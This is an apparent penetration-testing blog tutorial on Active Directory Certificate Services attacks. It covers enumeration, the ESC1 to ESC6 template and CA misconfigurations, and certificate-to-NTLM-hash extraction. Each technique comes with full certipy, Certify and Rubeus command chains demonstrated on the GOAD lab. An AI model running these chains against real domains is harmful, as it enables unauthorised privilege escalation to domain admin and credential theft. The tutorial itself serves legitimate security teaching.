Intro
This article will cover basic AD CS enumeration and attacks, focusing on the attacks classified into the Domain Escalation category (ESC). Further methods that go through Certificate Theft (THEFT), Account Persistence (PERSIST) and Domain Persistence (DPERSIST) might be covered in future content.
If you did not went through the previously posted content of the blog, I highly recommend reading at least these articles before continuing, as they explain the logic before the attacks that will be performed going forwards:
- [AD Hacking] 0x06 - Kerberos PKINIT
- [AD Hacking] 0x09 - Active Directory Certificate Services (AD CS)
Basic Enumeration
Finding Enterprise CAs
There are two main ways we can enumerate the available Certificate Authorities in the environment.
The first one is to query LDAP using the (objectCategory=pKIEnrollmentService)
LDAP filter on the CN=Configuration,DC=<DOMAIN>,DC=<COM>
search base. The results will identify the DNS hostname of the CA server, the CA name itself, the certificate start and end dates, various flags, published certificate templates, and more.
Alternatively, this information might also show itself by enumerating the members of the “Cert Publishers” AD group.
We can do this enumeration both through a more manual process, or with automatic tools. For Linux, the main tool we’ll use when exploiting AD CS is Certipy. For Windows, the alternative is Certify.
Linux
If we want to just do simple enumeration via LDAP, as explained before, we could use ldapsearch
:
ldapsearch -LLL -H "ldap://<DC_IP>" -D "<USER>@<DOMAIN>" -w "<PASSWORD>" -b "CN=Configuration,DC=<DOMAIN>,DC=<COM>" '(objectCategory=pKIEnrollmentService)'
Or the adcs module on netexec:
netexec ldap '<DC_IP>' -d '<DOMAIN>' -u '<USER>' -p '<PASSWORD>' -M adcs
Alternatively, we can also use the built-in net tool, or pth-toolkit’s version to enumerate the members of the “Cert Publishers” group:
net rpc group members "Cert Publishers" -U "<DOMAIN>"/"<USER>"%"<PASSWORD>" -S "<DC_IP>"
Demo on GOAD Lab
ldapsearch -LLL -H "ldap://192.168.56.12" -D "khal.drogo@essos.local" -w "horse" -b "CN=Configuration,DC=essos,DC=local" '(objectCategory=pKIEnrollmentService)' dn cn dNSHostName displayName
net rpc group members "Cert Publishers" -U "essos.local"/"khal.drogo"%"horse" -S "192.168.56.12"
Windows
To enumerate the available CAs via LDAP, we can use the built-in certutil tool from a domain-joined machine:
certutil.exe -TCAInfo
Or with Certify:
.\Certify.exe cas
But we can also check the members of the “Cert Publishers” group with the net tool:
net group "Cert Publishers" /domain
Or PowerView:
Get-DomainGroupMember -Domain <DOMAIN> -Identity '<TARGET_GROUP>'
Demo on GOAD Lab
.\Certify.exe cas
.\SharpView.exe Get-DomainGroupMember -Domain essos.local -Identity 'Cert Publishers'
Enumerating Certificate Templates
As mentioned in the previous article, one of the main sources of vulnerability inside AD CS is the presence of security misconfigurations in the certificate templates being used. These vulnerabilities often result in allowing attackers to issue valid certificates for arbitrary user, and consequent Domain Escalation.
The first step we have to do before that, though, is to enumerate what are the available certificate templates, and hopefully try to find templates that present known misconfigurations.
We can do that with manual steps again, by using LDAP queries with an object class of pKICertificateTemplate
, located in the container CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>
, to get the configuration data of the templates. For example:
ldapsearch -LLL -H "ldap://<DC_IP>" -D "<USER>>@<DOMAIN>" -w "<PASSWORD>" -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>" '(objectCategory=pKICertificateTemplate)'
# Example:
ldapsearch -LLL -H "ldap://192.168.56.12" -D "khal.drogo@essos.local" -w "horse" -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=essos,DC=local" '(objectCategory=pKICertificateTemplate)'
However, the process of interpreting this raw data is not worth it. Because of that, we are now going to focus on the main two tools available: Certipy on Linux and Certify on Windows.
Linux
Okay, for this one we’ll use certipy. This tool allows us to get all information from the CA and templates, and output to different formats (text
, json
, stdout
):
certipy find -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<DC_IP>' -text
There is also an option to filter for templates with known misconfigurations (ESC):
certipy find -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<DC_IP>' -text -vulnerable
But the main feature here that will help us a tooon, is the option to output the info to a zip collection we can import to BloodHound!!!
certipy find -u '<USER>@<DOMAIN>' -p '<PASSWORD>' -dc-ip '<DC_IP>' -bloodhound
The thing here is that to take full advantage of this feature, we have to get the branch version of BloodHound released by certipy’s creator (ly4k). This version has some new queries built-in to make AD CS enumeration better, includes an option in CA objects to list enabled certificates, and some other stuff.
As BloodHound is just a binary, there’s no trouble here though, as we can just download and use this version when we want. After downloading and launching, we can simply import the zip created by certipy into it and have a much better view of what we’re working with!
If you don’t want to use this version, you can use the -old-bloodhound flag in certipy and upload the zip to the original BloodHound application. Only problem is that you’ll not have the additional queries, icons… but you will be able to enumerate it manually.
Demo on GOAD Lab
certipy find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -text -vulnerable
certipy find -u 'khal.drogo@essos.local' -p 'horse' -dc-ip '192.168.56.12' -bloodhound
Windows
We can get a list of info for the CA and also certificate templates with the following command:
.\Certify.exe find
And again, there is also an option to filter for templates with known misconfigurations:
.\Certify.exe find /vulnerable
You can also use /currentuser
to filter for certificates you can enroll to.
Demo on GOAD Lab
.\Certify.exe find /vulnerable
Abusing Template Misconfigurations
Just a heads up, this section will explain how the attacks work, but will not go through to use the issued certificates. To learn how to leverage them to escalate privileges in the domain and authenticate as the arbitrary users jump ahead to the “Leveraging Extracted Certificates” section.
But for now, as we already gathered a collection of the available certificate templates, and even some automatic findings of security misconfigurations, let’s go ahead and start to study a bit more on template attacks!
There are some specific sets of settings for certificate templates that make them extremely vulnerable. As in regular-domain-user-to-domain-admin vulnerable… These sets were documented at SpecterOps article. For each one, we’ll talk about the set of settings required and how to exploit them.
Nonetheless, there are also some global requirements here that all cases need to present beyond their specific set of settings. So let’s check this out first, and prepare the grounds for the attacks, and then go through to learn about each different scenario.
Global Requirements
There are some things that will be essential for us to abuse vulnerabilities in certificate templates, some configurations that they need to have to allow us to go through with the exploitation.
First, at the CA configuration level, it needs to allow enrollment from low-privileged users (or at least the privileges/groups our controlled user has):
After that, there will be specific settings that will cause each vulnerability, but these requirements will be true for all of them:
- The template is enabled;
- Manager approval is disabled;
- No authorized signatures are required;
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
If the template has all those settings set, then we can go ahead to enumerate if it has misconfigurations we can abuse. But if it doesn’t fill these requirements, even if it is vulnerable, we won’t be able to exploit it… Here is an example of a template that has these settings set (output of certipy):
And one of the most essential things will always be the enrollment rights, as this is what will allow us to enroll and request certificates using the template. Sometimes the template may specify that all “Domain Users” have permission to enroll. In that case we are good to go, we just need access to any account in the domain. In other cases, it might indicate a specific domain group, however, in which case we’ll have to try and find a way to get a user account that is a part of that group.
One case I’d like to detail however, is when the enrollment rights point to the “Domain Computers” group, which means we need to have access to a machine account in order to enroll to the template.
What I want to mention here is that by default, any domain account has permission to create up to 10 computers in the domain. That’s right, there is a domain level attribute named MachineAccountQuota
with this setting, and the default value is 10. This means that, if we fall in that scenario, we can just abuse this property to create ourselves a machine account we can access!
Creating a Machine Account - Linux
In Linux, we can check the MachineAccountQuota
value via LDAP:
# With netexec:
nxc ldap <DC_IP> -d <DOMAIN> -u <USER> -p <PASSWORD> -M maq
# Or with raw LDAP queries:
ldapsearch -x -H ldap://<DC_IP> -b 'DC=<DOMAIN>,DC=<COM>' -D "<USER>@<DOMAIN>" -w '<PASSWORD>' -s sub "(objectclass=domain)" | grep ms-DS-MachineAccountQuota
And if it’s higher than 0, then we can proceed to create a machine account!
# With impacket:
impacket-addcomputer -computer-name '<ANY_NAME>$' -computer-pass '<ANY_PASSWORD>' -dc-host "<DC_IP>" -domain-netbios "<DOMAIN>" "<DOMAIN>"/"<USER>":"<PASSWORD>"
# Or with bloodyAD:
bloodyad -d "<DOMAIN>" -u "<USER>" -p "<PASSWORD>" --host "<DC_HOST>" add computer '<ANY_NAME>$' '<ANY_PASSWORD>'
# Or with certipy:
certipy account create -username "<USER>"@"<DOMAIN>" -password "<PASSWORD>" -dc-ip "<DC_HOST>" -user '<ANY_NAME>$' -pass '<ANY_PASSWORD>'
Now you can use this newly created account during the attack to enroll to the vulnerable template 🙂!
Demo on GOAD Lab
# Check attribute value
ldapsearch -x -H ldap://192.168.56.12 -b 'DC=essos,DC=local' -D "khal.drogo@essos.local" -w 'horse' -s sub "(objectclass=domain)" | grep ms-DS-MachineAccountQuota
# Create machine account
certipy account create -username "khal.drogo"@"essos.local" -password "horse" -dc-ip "192.168.56.12" -user 'NewTestComputer$' -pass 'Password@123'
Creating a Machine Account - Windows
On Windows we can use StandIn to verify the MachineAccountQuota
value:
.\StandIn.exe --object DC=<DOMAIN_NAME> --filter ms-ds-machineaccountquota
And create a new machine account:
# Create the account
.\StandIn.exe --computer '<ANY_NAME>' --make
# Disable the account
.\StandIn.exe --computer '<ANY_NAME>' --disable
# Delete the account (requires elevated rights)
.\StandIn.exe --computer '<ANY_NAME>' --delete
Demo on GOAD Lab
# Check attribute value
.\StandIn_v13_Net35.exe --object DC=ESSOS --filter ms-ds-machineaccountquota
# Create machine account
.\StandIn_v13_Net35.exe --computer 'NEWCOMPUTER' --make
ESC1
As explained in the previous article, in order to allow the same certificate to be used across different hostnames, the subjectAltName
(SAN) field can be specified.
Although this might be useful in some scenarios, if the certificate is enabled for AD authentication, it allows an attacker to request certificates for any user in the environment (even a DA) and use that to get legitimate tickets for them!
After issuing the certificate, we can use them as shown in the “Leveraging Extracted Certificates” section.
Specific Requirements
- The certificate template defines EKUs that enable authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose, or no EKU);
- The certificate template allows requesters to specify a subjectAltName in the CSR (
Certificate Name Flag
containsEnrolleeSuppliesSubject
).
Example:
The following LDAP query can be used to enumerate templates vulnerable to ESC1 (based on the stated requirements):
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
Exploitation - Linux
Here we can request a certificate with certipy, specifying the user we want to impersonate with the -upn
flag, or the -dns
flag if we want to impersonate a machine.
# Specifying a user in the SAN
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' -upn '<USER_TO_IMPERSONATE>'
# Specifying a machine in the SAN
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' -dns '<MACHINE_FQDN_TO_IMPERSONATE>'
Demo on GOAD Lab
# Issue certificate for Domain Administrator user
certipy req -u "khal.drogo@essos.local" -p "horse" -dc-ip "192.168.56.12" -target "braavos.essos.local" -ca 'ESSOS-CA' -template 'ESC1' -upn 'Administrator'
# Leveraging certificate to extract user's NTLM hash
certipy auth -pfx "administrator.pfx" -dc-ip '192.168.56.12' -username 'Administrator' -domain 'essos.local'
Exploitation - Windows
Here we can use Certify to issue the certificate, specifying the user we want to impersonate with the /altname
flag:
.\Certify.exe request /ca:'<CA_MACHINE_FQDN>\<CA_NAME>' /template:"<TARGET_TEMPLATE>" /altname:"<USER_TO_IMPERSONATE>"
Demo on GOAD Lab
# Issue certificate for Domain Administrator user
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"ESC1" /altname:"essos.local\Administrator"
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "essos_administrator.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "essos_administrator.pfx" -legacy -password pass:
# Leveraging .pfx certificate to extract user's NTLM hash
.\Rubeus.exe asktgt /user:'ESSOS\Administrator' /certificate:'essos_administrator.pfx' /dc:192.168.56.12 /password:"" /nowrap /ptt /getcredentials
ESC2
Intro
This second scenario is when the certificate template can be used for any purpose. There is an EKU called “Certificate Request Agent” (aka Enrollment Agent), which allows a principal to enroll for a certificate on behalf of another user… As in this case the template can be used for any purpose, it includes this one!
As ESC3 describes the scenario where this Enrollment Agent EKU is allowed, in specific, the exploitation steps and method will be the same here, so check out the ESC3 section.
Specific Requirements
- The certificate template defines the Any Purpose EKU or no EKU.
Example:
The following LDAP query can be used to enumerate templates vulnerable to ESC2 (based on the stated requirements):
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
Demo on GOAD Lab - Linux
# Requesting enrollment agent certificate
certipy req -u khal.drogo@essos.local -p 'horse' -dc-ip '192.168.56.12' -target '192.168.56.23' -ca ESSOS-CA -template ESC2
# Using enrollment agent certificate to request another certificate on behalf of an arbitrary user
certipy req -u khal.drogo@essos.local -p 'horse' -dc-ip '192.168.56.12' -target '192.168.56.23' -ca ESSOS-CA -template User -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
# Leveraging certificate to extract user's NTLM hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Demo on GOAD Lab - Windows
# Requesting enrollment agent certificate
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"ESC2"
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "khal_drogo.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "khal_drogo.pfx" -legacy -password pass:
# Using enrollment agent certificate to request another certificate on behalf of an arbitrary user
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"User" /onbehalfof:'ESSOS\Administrator' /enrollcert:'khal_drogo.pfx' /enrollcertpw:''
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "essos_administrator.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "essos_administrator.pfx" -legacy -password pass:
# Leveraging .pfx certificate to extract user's NTLM hash
.\Rubeus.exe asktgt /user:'ESSOS\Administrator' /certificate:'essos_administrator.pfx' /dc:192.168.56.12 /password:"" /nowrap /ptt /getcredentials
ESC3
Intro
As mentioned in ESC2, this one, although similar to ESC1, abuses a different EKU and because of that requires an additional step for abuse.
The Certificate Request Agent EKU (aka Enrollment Agent), allows a principal to enroll for a certificate on behalf of another user. The “enrollment agent” enrolls in such a template and uses the resulting certificate to co-sign a CSR on behalf of the other user. It then sends the co-signed CSR to the CA, enrolling in a template that permits “enroll on behalf of”, and the CA responds with a certificate belong to the “other” user.
Sooo, we actually need two templates in order to exploit this. The first has to allow the Certificate Request Agent EKU, so we can use it later to request certificates on behalf of other users. The second needs to define an EKU that allows for domain authentication, or we wouldn’t be able to use it that way.
Additionally, the CA needs to lack restrictions over enrollment agents. It is noted that the default setting for CAs is to “Do not restrict enrollment agents.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows Everyone access to enroll in all templates as anyone.
After issuing the certificate, we can use them as shown in the “Leveraging Extracted Certificates” section.
Specific Requirements
Template 1 (ESC3):
- The certificate template defines the Certificate Request Agent EKU, which allows for requesting other certificate templates on behalf of other principals.
Template 2:
- The certificate template defines EKUs that enable authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose, or no EKU);
- If the certificate template’s schema version is 2 or higher:
- The template must require at least 1 authorized signature, as we will sign it with the enrollment agent;
- The template must specify an Application Policy of Certificate Request Agent.
- Enrollment agent restrictions are not implemented on the CA.
I wasn’t able to fully enumerate the requirements with Certipy because it lacked some of the properties, even though Certify (on Windows) showed them. Being so, I searched a bit and found a fix for that. If you want to apply it you have to change the code in <YOUR_CERTIPY_LIB_PATH>/certipy/commands/find.py
to the code available in the repository below:
A good certificate template we can usually use to fulfil these conditions is the User template, for which the schema version is usually 1:
Or else, we can find search for custom templates that also fit the requirements, like this one:
Exploitation - Linux
First, we need to request an enrollment agent certificate (Template 1):
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>'
Then, we can go ahead and use the enrollment agent certificate to issue a certificate request (CSR) on behalf of another user, to a template that allows domain authentication (Template 2):
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' -on-behalf-of '<DOMAIN>\<TARGET_USER>' -pfx '<ENROLLMENT_AGENT_CERT>.pfx'
Demo on GOAD Lab
# Requesting enrollment agent certificate
certipy req -u khal.drogo@essos.local -p 'horse' -dc-ip '192.168.56.12' -target '192.168.56.23' -ca ESSOS-CA -template ESC3-CRA
# Using enrollment agent certificate to request another certificate on behalf of an arbitrary user
certipy req -u khal.drogo@essos.local -p 'horse' -dc-ip '192.168.56.12' -target '192.168.56.23' -ca ESSOS-CA -template User -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx
# Leveraging certificate to extract user's NTLM hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Exploitation - Windows
First, we need to request an enrollment agent certificate (Template 1):
.\Certify.exe request /ca:'<CA_MACHINE_FQDN>\<CA_NAME>' /template:"<TARGET_TEMPLATE>"
Then, we can go ahead and use the enrollment agent certificate to issue a certificate request (CSR) on behalf of another user, to a template that allows domain authentication (Template 2):
.\Certify.exe request /ca:'<CA_MACHINE_FQDN>\<CA_NAME>' /template:"<TARGET_TEMPLATE>" /onbehalfof:'<DOMAIN_NAME>\<TARGET_USER>' /enrollcert:'<ENROLLMENT_AGENT_CERT>.pfx' /enrollcertpw:'<ENROLLMENT_AGENT_CERT_PASSWD>'
Demo on GOAD Lab
# Requesting enrollment agent certificate
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"ESC3-CRA"
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "khal_drogo.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "khal_drogo.pfx" -legacy -password pass:
# Using enrollment agent certificate to request another certificate on behalf of an arbitrary user
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"ESC3" /onbehalfof:'ESSOS\Administrator' /enrollcert:'khal_drogo.pfx' /enrollcertpw:''
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "essos_administrator.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "essos_administrator.pfx" -legacy -password pass:
# Leveraging .pfx certificate to extract user's NTLM hash
.\Rubeus.exe asktgt /user:'ESSOS\Administrator' /certificate:'essos_administrator.pfx' /dc:192.168.56.12 /password:"" /nowrap /ptt /getcredentials
ESC4
Intro
Certificate templates are securable objects in AD, meaning they have a security descriptor that specifies which AD principals have specific permissions over the template. ESC4 is an access control level misconfiguration over a template, due to the fact it has ACEs that allows unprivileged principals to edit sensitive security settings in it.
As we can imagine, if we have permission to edit the security settings of a certificate template, we will be able to make it vulnerable to any of the other techniques (i.e. ESC1)! With that, we can exploit the misconfiguration, and then restore the settings to the old state.
After issuing the certificate, we can use them as shown in the “Leveraging Extracted Certificates” section.
Specific Requirements
- The certificate template must enable less privileged users with at least one of the following ACEs/rights:
Owner
: Implicit full control of the object, can edit any properties.FullControl
: Full control of the object, can edit any properties.WriteOwner
: Can modify the owner to an attacker-controlled principal.WriteDacl
: Can modify access control to grant an attacker FullControl.WriteProperty
: Can edit any properties.
Example:
Exploitation - Linux
First, we can use certipy to modify the target template’s configuration, making it vulnerable to the ESC1 technique:
certipy template -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -template '<TARGET_TEMPLATE>' -save-old
Then, we can just go ahead and exploit ESC1:
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' -upn '<USER_TO_IMPERSONATE>'
And restore the original configuration to the template:
certipy template -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -template '<TARGET_TEMPLATE>' -configuration <VULN_TEMPLATE>.json
Demo on GOAD Lab
# Altering target template to make it vulnerable to ESC1
certipy template -u "khal.drogo@essos.local" -p "horse" -dc-ip "192.168.56.12" -template 'ESC4' -save-old
# Issue certificate for Domain Administrator user
certipy req -u "khal.drogo@essos.local" -p "horse" -dc-ip "192.168.56.12" -target "braavos.essos.local" -ca 'ESSOS-CA' -template 'ESC4' -upn 'Administrator'
# Leveraging certificate to extract user's NTLM hash
certipy auth -pfx "administrator.pfx" -dc-ip '192.168.56.12' -username 'Administrator' -domain 'essos.local'
# Restoring template's original settings
certipy template -u "khal.drogo@essos.local" -p "horse" -dc-ip "192.168.56.12" -template 'ESC4' -configuration ESC4.json
Exploitation - Windows
I didn’t find any tool that does the template configuration update automatically on Windows, so the easiest way I managed to do it is via the GUI management tools 🤷♂️. In order to do that, you have to enter an interactive session in the CA machine with the user that has the permissive ACE.
With that, you can open the Microsoft Management Console tool, by running mmc.exe
, and under the File tab, select “Add/Remove Snap-In”:
Then, you have to add the Certificate Templates Snap-In:
By double clicking the section you just added, you’ll see the list of all certificate templates. Open the one vulnerable to ESC4, and change the “Subject Name” configuration to “Supply in the request”. You may also need to check and change other configurations that might stop you from performing the ESC1 attacks, disabling any required signatures in the “Issuance Requirements” tab for example:
After that, you can just exploit as we did in the ESC1 section!
.\Certify.exe request /ca:'<CA_MACHINE_FQDN>\<CA_NAME>' /template:"<TARGET_TEMPLATE>" /altname:"<USER_TO_IMPERSONATE>"
Just remember to return the settings to the original state afterwards!
Demo on GOAD Lab
Altering the template’s configuration to allow SANs and disable Issuance Requirements:
# Issue certificate for Domain Administrator user
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"ESC4" /altname:"essos.local\Administrator"
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "essos_administrator.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "essos_administrator.pfx" -legacy -password pass:
# Leveraging .pfx certificate to extract user's NTLM hash
.\Rubeus.exe asktgt /user:'ESSOS\Administrator' /certificate:'essos_administrator.pfx' /dc:192.168.56.12 /password:"" /nowrap /ptt /getcredentials
ESC5
Intro
Okay, this is a softer one, it doesn’t point to any specific misconfiguration in the CA or certificate template. In ESC4 we had the idea that we can get control over some settings because an ACE was applied to our user, right? But we also know that direct ACEs are not the only way to gain access to target resources…
ESC5 covers the idea that there are some other AD objects that, if we are able to compromise, will grant us permission to alter the CA’s configuration, and make the exact thing we did in ESC4, changing template settings for example in order to gain access to arbitrary users!
Specific Requirements
If a low-privileged attacker can gain control over any of these, the attack can likely compromise the PKI system, and exploit it as stated before:
- The CA server’s AD computer object (i.e., compromise through S4U2Self or S4U2Proxy)
- The CA server’s RPC/DCOM server
- Any descendant AD object or container in the container
CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM>
(e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.)
Exploitation
If you manage to compromise any of those, just try to alter the settings of the CA or one of the certificate templates in it as we did in ESC4!
ESC6
Intro
This is a misconfiguration in the CA level, not in the certificate template settings. What happens here is that there is actually a way to allow the usage of subjectAltNames
(SANs) globally across all certificate templates, even if the specific settings of the template don’t specify that. This involves the usage of the EDITF_ATTRIBUTESUBJECTALTNAME2
flag in the CA.
The way it works is a liittle bit different from when using SANs in ESC1 however. In this case the alternative names are included in a CSR via the -attrib "SAN:<X>"
argument to certreq.exe (i.e., “Name Value Pairs”), therefore it’s a certificate attribute, while in ESC1 was a certificate extension.
After issuing the certificate, we can use them as shown in the “Leveraging Extracted Certificates” section.
But just a heads-up, this was patched in May 2022 by Microsoft, so in versions with updates after that date, this will only work when combined with ESC10!
Specific Requirements
- The CA has the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag set, allowing enrollees to specify Subject Alternative Names; - Find a certificate template that defines EKUs for authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, Any Purpose, or no EKU).
Example:
Exploitation - Linux
Although the way it works in the CSR is different from ESC1, the exploitation is exactly the same!
# Specifying a user in the SAN
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' -upn '<USER_TO_IMPERSONATE>'
# Specifying a machine in the SAN
certipy req -u "<USER>@<DOMAIN>" -p "<PASSWORD>" -dc-ip "<DC_IP>" -target "<CA_MACHINE_FQDN>" -ca '<CA_NAME>' -template '<TARGET_TEMPLATE>' -dns '<MACHINE_FQDN_TO_IMPERSONATE>'
Demo on GOAD Lab
# Issue certificate for Domain Administrator user
certipy req -u "khal.drogo@essos.local" -p "horse" -dc-ip "192.168.56.12" -target "braavos.essos.local" -ca 'ESSOS-CA' -template 'User' -upn 'Administrator'
# Leveraging certificate to extract user's NTLM hash
certipy auth -pfx "administrator.pfx" -dc-ip '192.168.56.12' -username 'Administrator' -domain 'essos.local'
Exploitation - Windows
Although the way it works in the CSR is different from ESC1, the exploitation is exactly the same!
.\Certify.exe request /ca:'<CA_MACHINE_FQDN>\<CA_NAME>' /template:"<TARGET_TEMPLATE>" /altname:"<USER_TO_IMPERSONATE>"
Demo on GOAD Lab
# Issue certificate for Domain Administrator user
.\Certify.exe request /ca:'braavos.essos.local\ESSOS-CA' /template:"User" /altname:"essos.local\Administrator"
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "essos_administrator.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "essos_administrator.pfx" -legacy -password pass:
# Leveraging .pfx certificate to extract user's NTLM hash
.\Rubeus.exe asktgt /user:'ESSOS\Administrator' /certificate:'essos_administrator.pfx' /dc:192.168.56.12 /password:"" /nowrap /ptt /getcredentials
Leveraging Extracted Certificates
Just some quick notes here for those who are trying to find out how to better abuse the issued certificates:
- Prefer working on Linux whenever possible, it’s easier and more stable;
- If you’re working at a Windows machine, you’ll probably need to convert your certificate from
.pem
to.pfx
along the way, so check the “Converting Certificates” section; - Also when working on Windows, grabbing the NTLM hash (1st method) is the best in my opinion. Working with tickets can lead to a looooot of troubleshooting!!!
Converting Certificates
A lot of times you’ll have to convert a certificate from one format to another. For example, when using Certify on Windows to issue the certificate and then Rubeus to leverage it, you’ll probably have to convert it from a .pem
format to a .pfx
. Here is how you can do that easily on Linux:
openssl pkcs12 -in "<CERT_PATH>.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "<CERT_PATH>.pfx" -legacy -password pass:
In this case the outfile was generated with no password, but you can specify one if you want.
Demo on GOAD Lab
# Converting output certificate (.pem) to PFX format on a Linux machine
openssl pkcs12 -in "essos_administrator.pem" -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out "essos_administrator.pfx" -legacy -password pass:
From Certificate to NTLM Hash
Very simple to do, and honestly, it’s what I do whenever possible. This process is exactly as explained in the Kerberos PKINIT article, in which using the certificate we request a TGT and then a U2U TGS, which contains the target user’s NTLM hash.
Exploitation - Linux
We can use certipy for that:
certipy auth -pfx "<CERTIFICATE>" -dc-ip '<DC_IP>' -username '<CERT_USERNAME>' -domain '<DOMAIN>'
# Optional -username and -domain flags can also be specified
Demo on GOAD Lab
# Leveraging certificate to extract user's NTLM hash
certipy auth -pfx "administrator.pfx" -dc-ip '192.168.56.12' -username 'Administrator' -domain 'essos.local'
Exploitation - Windows
Here we can use Rubeus:
.\Rubeus.exe asktgt /user:<CERTIFICATE_USER> /certificate:<BASE64_CERT_OR_PFX> /dc:<DC_IP> /password:"<CERTIFICATE_PASS>" /nowrap /ptt /getcredentials
Demo on GOAD Lab
# Leveraging .pfx certificate to extract user's NTLM hash
.\Rubeus.exe asktgt /user:'ESSOS\Administrator' /certificate:'essos_administrator.pfx' /dc:192.168.56.12 /password:"" /nowrap /ptt /getcredentials